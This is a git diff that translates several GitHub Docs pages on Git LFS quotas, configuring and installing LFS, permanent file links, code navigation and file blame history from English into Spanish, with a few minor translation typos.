+- Si {% data variables.product.prodname_actions %} descarga un archivo de 500 MB que se rastree con LFS, este utilizará 500 MB del ancho de banda asignado al repositorio del propietario.
 
 {% ifversion fpt or ghec %}
-If {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in source code archives for your repository, downloads of those archives will count towards bandwidth usage for the repository. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+Si los objetos de {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) se incluyen en los archivos de código fuente para tu repositorio, las descargas de estos archivos contarán en el uso de ancho de banda para el repositorio. Para obtener más información, consulta la sección "[Administrar los objetos de {% data variables.large_files.product_name_short %} en los archivos de tu repositorio](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)".
 {% endif %}
 
 {% tip %}
@@ -35,15 +36,15 @@ If {% data variables.large_files.product_name_long %} ({% data variables.large_f
 
 {% endtip %}
 
-## Storage quota
+## Cuota de almacenamiento
 
-If you use more than {% data variables.large_files.initial_storage_quota %} of storage without purchasing a data pack, you can still clone repositories with large assets, but you will only retrieve the pointer files, and you will not be able to push new files back up. For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)."
+Si utilizas más de {% data variables.large_files.initial_storage_quota %} de almacenamiento sin comprar un paquete de datos, aún puedes clonar repositorios con elementos grandes, pero solo podrás descargar los archivos puntero, y no podrás subir archivos nuevos otra vez. Para obtener más información acerca de los archivos puntero, consulta la sección "[Acerca de{% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)".
 
-## Bandwidth quota
+## Cuota de ancho de banda
 
-If you use more than {% data variables.large_files.initial_bandwidth_quota %} of bandwidth per month without purchasing a data pack, {% data variables.large_files.product_name_short %} support is disabled on your account until the next month.
+Si usas más de {% data variables.large_files.initial_bandwidth_quota %} de ancho de banda por mes sin comprar un paquete de datos, el soporte de {% data variables.large_files.product_name_short %} se desactiva en tu cuenta hasta el próximo mes.
 
-## Further reading
+## Leer más
 
-- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)"
-- "[Managing billing for {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)"
+- "[Ver tu uso de {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage)"
+- "[Administrar la facturación para {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)"
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/translations/es-ES/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
index 6569c30f30..d7a522f071 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git Large File Storage
-intro: 'Once [{% data variables.large_files.product_name_short %} is installed](/articles/installing-git-large-file-storage/), you need to associate it with a large file in your repository.'
+title: Configurar el almacenamiento de archivos Git de gran tamaño
+intro: 'Una vez que {[{% data variables.large_files.product_name_short %} está instalado], (/articles/installing-git-large-file-storage/), deberás asociarlo con un archivo de gran tamaño en tu repositorio.'
 redirect_from:
   - /articles/configuring-large-file-storage
   - /articles/configuring-git-large-file-storage
@@ -11,9 +11,10 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Configure Git LFS
+shortTitle: Configurar el LFS de Git
 ---
-If there are existing files in your repository that you'd like to use {% data variables.product.product_name %} with, you need to first remove them from the repository and then add them to {% data variables.large_files.product_name_short %} locally. For more information, see "[Moving a file in your repository to {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)."
+
+Si hay archivos existentes en tu repositorio con los que te gustaría usar {% data variables.product.product_name %}, primero debes eliminarlos del repositorio y luego agregarlas a {% data variables.large_files.product_name_short %} localmente. Para obtener más información, consulta "[Mover un archivo en tu repositorio a {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)".
 
 {% data reusables.large_files.resolving-upload-failures %}
 
@@ -21,46 +22,46 @@ If there are existing files in your repository that you'd like to use {% data va
 
 {% tip %}
 
-**Note:** Before trying to push a large file to {% data variables.product.product_name %}, make sure that you've enabled {% data variables.large_files.product_name_short %} on your enterprise. For more information, see "[Configuring Git Large File Storage on GitHub Enterprise Server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)."
+**Nota:** Antes de que intentes subir un archivo grande a {% data variables.product.product_name %}, asegúrate de haber habilitado {% data variables.large_files.product_name_short %} en tu empresa. Para obtener más información, consulta "[Configurar almacenamiento de archivos Git de gran tamaño en GitHub Enterprise Server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)".
 
 {% endtip %}
 
 {% endif %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change your current working directory to an existing repository you'd like to use with {% data variables.large_files.product_name_short %}.
-3. To associate a file type in your repository with {% data variables.large_files.product_name_short %}, enter `git {% data variables.large_files.command_name %} track` followed by the name of the file extension you want to automatically upload to {% data variables.large_files.product_name_short %}.
+2. Cambia tu directorio de trabajo actual a un repositorio existente que desees usar con {% data variables.large_files.product_name_short %}.
+3. Para asociar un tipo de archivo en tu repositorio con {% data variables.large_files.product_name_short %}, escribe `git {% data variables.large_files.command_name %} track` seguido por el nombre de la extensión de archivo a la que deseas cargar automáticamente {% data variables.large_files.product_name_short %}.
 
-  For example, to associate a _.psd_ file, enter the following command:
+  Por ejemplo, para asociar un archivo _.psd_, escribe el siguiente comando:
   ```shell
   $ git {% data variables.large_files.command_name %} track "*.psd"
   > Adding path *.psd
   ```
-  Every file type you want to associate with {% data variables.large_files.product_name_short %} will need to be added with `git {% data variables.large_files.command_name %} track`. This command amends your repository's *.gitattributes* file and associates large files with {% data variables.large_files.product_name_short %}.
+  Cada tipo de archivo que desees asociar con {% data variables.large_files.product_name_short %} deberá agregarse con `got{% data variables.large_files.command_name %} track`. Este comando enmienda tu archivo *.gitattributes* del repositorio y asocia archivos de gran tamaño {% data variables.large_files.product_name_short %}.
 
   {% tip %}
 
-  **Tip:** We strongly suggest that you commit your local *.gitattributes* file into your repository. Relying on a global *.gitattributes* file associated with {% data variables.large_files.product_name_short %} may cause conflicts when contributing to other Git projects.
+  **Sugerencia:** Sugerimos enfáticamente que confirmes el archivo *.gitattributes* local en tu repositorio. Basándose en un archivo global *.gitattributes* asociado con {% data variables.large_files.product_name_short %} puede causar conflictos al contribuir con otros proyectos Git.
 
   {% endtip %}
 
-4. Add a file to the repository matching the extension you've associated:
+4. Agrega un archivo al repositorio que coincide con la extensión que has asociado:
   ```shell
   $ git add path/to/file.psd
   ```
-5. Commit the file and push it to {% data variables.product.product_name %}:
+5. Confirma el archivo y súbelo a {% data variables.product.product_name %}:
   ```shell
   $ git commit -m "add file.psd"
   $ git push
   ```
-  You should see some diagnostic information about your file upload:
+  Deberías ver información de diagnóstico sobre la carga del archivo:
   ```shell
   > Sending file.psd
   > 44.74 MB / 81.04 MB  55.21 % 14s
   > 64.74 MB / 81.04 MB  79.21 % 3s
   ```
 
-## Further reading
+## Leer más
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
-- "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
+- "[Colaboración con {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
+- "[Administrar objetos de {% data variables.large_files.product_name_short %} en los archivos de tu repositorio](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
diff --git a/translations/es-ES/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/translations/es-ES/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
index 744ea932b5..e69619f42d 100644
--- a/translations/es-ES/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
+++ b/translations/es-ES/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Installing Git Large File Storage
-intro: 'In order to use {% data variables.large_files.product_name_short %}, you''ll need to download and install a new program that''s separate from Git.'
+title: Instalar Git Large File Storage
+intro: 'Para utilizar {% data variables.large_files.product_name_short %}, tendrás que descargar e instalar un programa nuevo, además de Git.'
 redirect_from:
   - /articles/installing-large-file-storage
   - /articles/installing-git-large-file-storage
@@ -11,106 +11,107 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Install Git LFS
+shortTitle: Instalar el LFS de Git
 ---
+
 {% mac %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**. Alternatively, you can install {% data variables.large_files.product_name_short %} using a package manager:
-    - To use [Homebrew](http://brew.sh/), run `brew install git-lfs`.
-    - To use [MacPorts](https://www.macports.org/), run `port install git-lfs`.
+1. Navega hasta [git-lfs.github.com](https://git-lfs.github.com) y haz clic en **Download** (Descargar). También puedes instalar {% data variables.large_files.product_name_short %} utilizando un administrador de paquete:
+    - Para utilizar [Homebrew](http://brew.sh/), ejecuta `brew install git-lfs`.
+    - Para utilizar [MacPorts](https://www.macports.org/), ejecuta `port install git-lfs`.
 
- If you install {% data variables.large_files.product_name_short %} with Homebrew or MacPorts, skip to step six.
+ Si instalas {% data variables.large_files.product_name_short %} con Homebrew o MacPorts, dirígete al paso seis.
 
-2. On your computer, locate and unzip the downloaded file.
+2. En tu computadora, ubica y descomprime el archivo descargado.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. Cambia el directorio de trabajo actual por la carpeta en la que descargaste y descomprimiste el archivo.
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **Nota:** La ruta de archivo que utilices después de `cd` depende de tu sistema operativo, de la versión de Git LFS que descargaste y de dónde guardaste la descarga {% data variables.large_files.product_name_short %}.
 
  {% endnote %}
-4. To install the file, run this command:
+4. Para instalar el archivo, ejecuta este comando:
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **Nota:** Puede que tengas que usar `sudo ./install.sh` para instalar el archivo.
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. Verifica que la instalación haya sido exitosa:
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. Si no ves un mensaje que indique que `git {% data variables.large_files.command_name %} install` fue exitoso, contáctate con {% data variables.contact.contact_support %}. Asegúrate de incluir el nombre de tu sistema operativo.
 
 {% endmac %}
 
 {% windows %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. Navega hasta [git-lfs.github.com](https://git-lfs.github.com) y haz clic en **Download** (Descargar).
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Windows, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **Sugerencia:** Para obtener más información acerca de otras formas de instalar {% data variables.large_files.product_name_short %} para Windows, consulta esta [Guía de introducción](https://github.com/github/git-lfs#getting-started).
 
   {% endtip %}
-2. On your computer, locate the downloaded file.
-3. Double click on the file called *git-lfs-windows-1.X.X.exe*, where 1.X.X is replaced with the Git LFS version you downloaded. When you open this file Windows will run a setup wizard to install {% data variables.large_files.product_name_short %}.
+2. En tu computadora, ubica el archivo descargado.
+3. Haz doble clic en el archivo llamado *git-lfs-windows-1.X.X.exe*, donde 1.X.X se reemplazará con la versión LFS de Git que descargaste. Cuando abras este archivo, Windows ejecutará un asistente de configuración para instalar {% data variables.large_files.product_name_short %}.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-5. Verify that the installation was successful:
+5. Verifica que la instalación haya sido exitosa:
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. Si no ves un mensaje que indique que `git {% data variables.large_files.command_name %} install` fue exitoso, contáctate con {% data variables.contact.contact_support %}. Asegúrate de incluir el nombre de tu sistema operativo.
 
 {% endwindows %}
 
 {% linux %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. Navega hasta [git-lfs.github.com](https://git-lfs.github.com) y haz clic en **Download** (Descargar).
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Linux, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **Sugerencia:** Para obtener más información acerca de otras formas de instalar {% data variables.large_files.product_name_short %} para Linux, consulta esta [Guía de introducción](https://github.com/github/git-lfs#getting-started).
 
   {% endtip %}
-2. On your computer, locate and unzip the downloaded file.
+2. En tu computadora, ubica y descomprime el archivo descargado.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. Cambia el directorio de trabajo actual por la carpeta en la que descargaste y descomprimiste el archivo.
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **Nota:** La ruta de archivo que utilices después de `cd` depende de tu sistema operativo, de la versión de Git LFS que descargaste y de dónde guardaste la descarga {% data variables.large_files.product_name_short %}.
 
  {% endnote %}
-4. To install the file, run this command:
+4. Para instalar el archivo, ejecuta este comando:
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **Nota:** Puede que tengas que usar `sudo ./install.sh` para instalar el archivo.
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. Verifica que la instalación haya sido exitosa:
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. Si no ves un mensaje que indique que `git {% data variables.large_files.command_name %} install` fue exitoso, contáctate con {% data variables.contact.contact_support %}. Asegúrate de incluir el nombre de tu sistema operativo.
 
 {% endlinux %}
 
-## Further reading
+## Leer más
 
-- "[Configuring {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
+- "[Configurar {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
diff --git a/translations/es-ES/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/es-ES/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
index e634289eb4..dbbba9635d 100644
--- a/translations/es-ES/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
+++ b/translations/es-ES/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
@@ -1,6 +1,6 @@
 ---
-title: Getting permanent links to files
-intro: 'When viewing a file on {% data variables.product.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.'
+title: Obtener enlaces permanentes a archivos
+intro: 'Cuando ves un archivo en {% data variables.product.product_location %}, puedes presionar la tecla "y" para actualizar la URL y obtener un enlace permanente para la versión exacta del archivo que estás viendo.'
 redirect_from:
   - /articles/getting-a-permanent-link-to-a-file
   - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url
@@ -14,44 +14,45 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Permanent links to files
+shortTitle: Enlaces permanentes a los archivos
 ---
+
 {% tip %}
 
-**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts.
+**Sugerencia**: Presiona "?" en cualquier página en {% data variables.product.product_name %} para ver todos los atajos del teclado disponibles.
 
 {% endtip %}
 
-## File views show the latest version on a branch
+## Vistas del archivo que muestran la versión más reciente en una rama
 
-When viewing a file on {% data variables.product.product_location %}, you usually see the version at the current head of a branch.  For example:
+Cuando ves un archivo en {% data variables.product.product_location %}, por lo general, accedes a la versión en el encabezado actual de una rama.  Por ejemplo:
 
 * [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md)
 
-refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file.
+se refiere al repositorio `codeql` de GitHub, y muestra la versión más reciente de la rama `main` del archivo `README.md`.
 
-The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later.
+La versión de un archivo en el encabezado de una rama puede cambiar cuando se realizan nuevas confirmaciones, por eso si copias la URL normal, el contenido del archivo puede no ser el mismo cuando alguien lo vea más tarde.
 
-## Press <kbd>y</kbd> to permalink to a file in a specific commit
+## Press <kbd>Y</kbd> to permalink to a file in a specific commit
 
-For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id.  This will permanently link to the exact version of the file in that commit.  For example:
+Para encontrar un enlace permanente a la versión específica de un archivo que veas, en vez de utilizar el nombre de la rama en la URL (por ejemplo, la parte de `main` en el ejemplo anterior), coloca una id de confirmación.  Esto generará un enlace permanente a la versión exacta del archivo en esa confirmación.  Por ejemplo:
 
 * [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md)
 
-replaces `main` with a specific commit id and the file content will not change.
+reemplaza `main` con la id de confirmación específica y el contenido del archivo no cambiará.
 
-Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type <kbd>y</kbd> to automatically update the URL to the permalink version.  Then you can copy the URL knowing that anyone you share it with will see exactly what you saw.
+Buscar de manera manual el SHA de confirmación es muy poco práctico. No obstante, a modo de atajo, puedes escribir <kbd>y</kbd> para actualizar automáticamente la URL para la versión del enlace permanente.  Luego puedes copiar la URL sabiendo que todas las personas con quienes la compartas verán exactamente lo mismo que tú viste.
 
 {% tip %}
 
-**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags!
+**Sugerencia**: Puedes colocar un identificador que se puede resolver para una confirmación en la URL, incluidos los nombres de las ramas, los SHA de confirmación específicos o las etiquetas.
 
 {% endtip %}
 
-## Creating a permanent link to a code snippet
+## Crear un enlace permanente a un fragmento de código
 
-You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)."
+Puedes crear un enlace permanente a una línea específica o a un rango de líneas de código en una versión específica de un archivo o de una solicitud de extracción. Para obtener más información, consulta "[Crear un enlace permanente al fragmento de código](/articles/creating-a-permanent-link-to-a-code-snippet/)".
 
-## Further reading
+## Leer más
 
-- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)"
+- "[Archivar un repositorio de GitHub](/articles/archiving-a-github-repository)"
diff --git a/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md
index d0f6114565..34d141ad61 100644
--- a/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md
+++ b/translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Navigating code on GitHub
-intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.'
+title: Código de navegación en GitHub
+intro: 'Puedes comprender las relaciones dentro y a través de los repositorios al navegar directamente por código en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/navigating-code-on-github
   - /github/managing-files-in-a-repository/navigating-code-on-github
@@ -11,66 +11,67 @@ versions:
 topics:
   - Repositories
 ---
+
 <!-- If you make changes to this feature, update /getting-started-with-github/github-language-support to reflect any changes to supported languages. -->
 
-## About navigating code on {% data variables.product.prodname_dotcom %}
+## Acerca de la navegación de código en {% data variables.product.prodname_dotcom %}
 
-Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition.
+La navegación de código te ayuda a leer, navegar y entender el código al mostrarte y enlazar las definiciones de una entidad nombrada que corresponda a la referencia de la misma, así como mostrando referencias que corresponden a la definición de dicha entidad.
 
-![Code navigation display](/assets/images/help/repository/code-navigation-popover.png)
+![Pantalla de navegación de código](/assets/images/help/repository/code-navigation-popover.png)
 
-Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages and navigation strategies are supported:
+La navegación de código utiliza la librería de código abierto [`tree-sitter`](https://github.com/tree-sitter/tree-sitter). Los siguientes lenguajes y estrategias de navegación son compatibles:
 
-| Language   | search-based code navigation | precise code navigation |
-|:----------:|:----------------------------:|:-----------------------:|
-| C#         | ✅                           |                         |
-| CodeQL     | ✅                           |                         |
-| Go         | ✅                           |                         |
-| Java       | ✅                           |                         |
-| JavaScript | ✅                           |                         |
-| PHP        | ✅                           |                         |
-| Python     | ✅                           | ✅                      |
-| Ruby       | ✅                           |                         |
-| TypeScript | ✅                           |                         |
+|  Lenguaje  | navegación de código basada en la búsqueda | navegación de código precisa |
+|:----------:|:------------------------------------------:|:----------------------------:|
+|     C#     |                     ✅                      |                              |
+|   CodeQL   |                     ✅                      |                              |
+|     Go     |                     ✅                      |                              |
+|    Java    |                     ✅                      |                              |
+| JavaScript |                     ✅                      |                              |
+|    PHP     |                     ✅                      |                              |
+|   Python   |                     ✅                      |              ✅               |
+|    Ruby    |                     ✅                      |                              |
+| TypeScript |                     ✅                      |                              |
 
 
-You do not need to configure anything in your repository to enable code navigation. We will automatically extract search-based and precise code navigation information for these supported languages in all repositories and you can switch between the two supported code navigation approaches if your programming language is supported by both.
+No necesitas configurar nada en tu repositorio para habilitar la navegación de código. Extraeremos información de navegación de código precisa y basada en búsquedas automáticamente para estos lenguajes compatibles en todos los repositorios y puedes cambiar entre estos dos acercamientos compatibles de navegación de código si tu lenguaje de programación es compatible con ambos.
 
-{% data variables.product.prodname_dotcom %} has developed two code navigation approaches based on the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) and [`stack-graphs`](https://github.com/github/stack-graphs) library:
- - search-based - searches all definitions and references across a repository to find entities with a given name
- - precise - resolves definitions and references based on the set of classes, functions, and imported definitions at a given point in your code
+{% data variables.product.prodname_dotcom %} ha desarrollado dos acercamientos de navegación de código con base en las librerías de código abierto [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) y [`stack-graphs`](https://github.com/github/stack-graphs):
+ - basado en búsquedas - busca todas las definiciones y referencias a lo largo de un repositorio para encontrar las entidades con un nombre específico
+ - preciso - resuelve las definiciones y referencias con base en el conjunto de clases, funciones y definiciones importadas en algún punto específico de tu código
 
-To learn more about these approaches, see "[Precise and search-based navigation](#precise-and-search-based-navigation)."
+Para aprender más sobre estos acercamientos, consulta la sección "[Navegación precisa y basada en búsquedas](#precise-and-search-based-navigation)".
 
-Future releases will add *precise code navigation* for more languages, which is a code navigation approach that can give more accurate results.
+Los lanzamientos de características agregarán *navegación de código precisa* para más lenguajes, lo cual es un acercamiento de navegación de código que puede otorgar resultados más exactos.
 
-## Jumping to the definition of a function or method
+## Saltar a la definición de una función o método
 
-You can jump to a function or method's definition within the same repository by clicking the function or method call in a file.
+Puedes saltar a una definición de función o de método dentro del mismo repositorio si das clic en la llamada a dicha función o método dentro de un archivo.
 
-![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png)
+![Pestaña Jump-to-definition](/assets/images/help/repository/jump-to-definition-tab.png)
 
-## Finding all references of a function or method
+## Buscar todas las referencias de una función o método
 
-You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab.
+Puedes encontrar todas las referencias para una función o método dentro del mismo repositorio si das clic en el llamado a dicha función o método en un archivo y posteriormente das clic en la pestaña de **Referencias**.
 
-![Find all references tab](/assets/images/help/repository/find-all-references-tab.png)
+![Pestaña Find all references (Buscar todas las referencias)](/assets/images/help/repository/find-all-references-tab.png)
 
-## Precise and search-based navigation
+## Navegación precisa y basada en búsqueda
 
-Certain languages supported by {% data variables.product.prodname_dotcom %} have access to *precise code navigation*, which uses an algorithm (based on the open source [`stack-graphs`](https://github.com/github/stack-graphs) library) that resolves definitions and references based on the set of classes, functions, and imported definitions that are visible at any given point in your code. Other languages use *search-based code navigation*, which searches all definitions and references across a repository to find entities with a given name. Both strategies are effective at finding results and both make sure to avoid inappropriate results such as comments, but precise code navigation can give more accurate results, especially when a repository contains multiple methods or functions with the same name.
+Alugnos lenguajes que son compatibles con {% data variables.product.prodname_dotcom %} tienen acceso a la *navegación de código precisa*, la cual utiliza un algoritmo (basado en la librería de código abierto [`stack-graphs`](https://github.com/github/stack-graphs)) que resuelve las definiciones y referencias con base en el conjunto de clases, funciones y definiciones importadas que son visibles en cualquier punto de tu código. Otros lenguajes utilizan la *navegación de código basada en búsquedas*, la cual busca todas las definiciones y referencias a lo largo de un repositorio para encontrar entidades con un nombre específico. Ambas estrategias son efectivas para encontrar resultados y ambas se aseguran de evitar resultados inadecuados, tales como los comentarios, pero la navegación de código precisa puede arrojar resultados más exactos, especialmente cuando un repositorio contiene métodos múltiples o funciones con el mismo nombre.
 
-If you don't see the results you expect from a precise code navigation query, you can click on the "search-based" link in the displayed popover to perform search-based navigation.
+Si no ves los resultados que esperas de una consulta de navegación de código precisa, puedes hacer clic en el enlace de "basada en búsqueda" en el mensaje emergente que se muestra para realizar una navegación basada en búsqueda.
 
-![Search-based code navigation link](/assets/images/help/repository/search-based-code-navigation-link.png)
+![Enlace de navegación de código basada en búsqueda](/assets/images/help/repository/search-based-code-navigation-link.png)
 
-If your precise results appear inaccurate, you can file a support request.
+Si tus resultados precisos te parecen inexactos, puedes enviar una solicitud de soporte.
 
-## Troubleshooting code navigation
+## Solución de problemas en la navegación de código
 
-If code navigation is enabled for you but you don't see links to the definitions of functions and methods:
-- Code navigation only works for active branches. Push to the branch and try again.
-- Code navigation only works for repositories with fewer than 100,000 files.
+Si se habilitó la navegación de código pero no ves los enlaces a las definiciones de las funciones y métodos:
+- La navegación de código solo funciona para las ramas activas. Sube a la rama e intenta de nuevo.
+- La navegación de código funciona únicamente para los repositorios que tienen menos de 100,000 archivos.
 
-## Further reading
-- "[Searching code](/github/searching-for-information-on-github/searching-code)"
+## Leer más
+- "[Buscar código](/github/searching-for-information-on-github/searching-code)"
diff --git a/translations/es-ES/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md b/translations/es-ES/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
index 2aa33de78a..7de2b3ff46 100644
--- a/translations/es-ES/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
+++ b/translations/es-ES/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md
@@ -1,6 +1,6 @@
 ---
-title: Tracking changes in a file
-intro: You can trace changes to lines in a file and discover how parts of the file evolved over time.
+title: Rastrear cambios en un archivo
+intro: Puedes rastrear cambios de líneas en un archivo y descubrir la manera en que las partes del archivo fueron evolucionando.
 redirect_from:
   - /articles/using-git-blame-to-trace-changes-in-a-file
   - /articles/tracing-changes-in-a-file
@@ -14,25 +14,24 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Track file changes
+shortTitle: Rastrar cambios en los archivos
 ---
-With the blame view, you can view the line-by-line revision history for an entire file, or view the revision history of a single line within a file by clicking {% octicon "versions" aria-label="The prior blame icon" %}. Each time you click {% octicon "versions" aria-label="The prior blame icon" %}, you'll see the previous revision information for that line, including who committed the change and when.
 
-![Git blame view](/assets/images/help/repository/git_blame.png)
+Con la vista de último responsable, puedes ver el historial de revisión línea por línea para todo un archivo o ver el historial de revisión de una única línea dentro de un archivo haciendo clic en {% octicon "versions" aria-label="The prior blame icon" %}. Cada vez que hagas clic en {% octicon "versions" aria-label="The prior blame icon" %}, verás la información de revisión anterior para esa línea, incluido quién y cuándo confirmó el cambio.
 
-In a file or pull request, you can also use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} menu to view Git blame for a selected line or range of lines.
+![Vista de último responsable de Git](/assets/images/help/repository/git_blame.png)
 
-![Kebab menu with option to view Git blame for a selected line](/assets/images/help/repository/view-git-blame-specific-line.png)
+En un archivo o solicitud de extracción, también puedes utilizar el menú {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} para ver el último responsable de Git para una línea o rango de líneas seleccionado.
+
+![Menú Kebab con opciones para ver el último responsable de Git para una línea seleccionada](/assets/images/help/repository/view-git-blame-specific-line.png)
 
 {% tip %}
 
-**Tip:** On the command line, you can also use `git blame` to view the revision history of lines within a file. For more information, see [Git's `git blame` documentation](https://git-scm.com/docs/git-blame).
+**Sugerencia:** En la línea de comando, también puedes utilizar `git blame` para ver el historial de revisión de líneas dentro de un archivo. Para obtener más información, consulta la documentación de [ `git blame`](https://git-scm.com/docs/git-blame) de Git.
 
 {% endtip %}
 
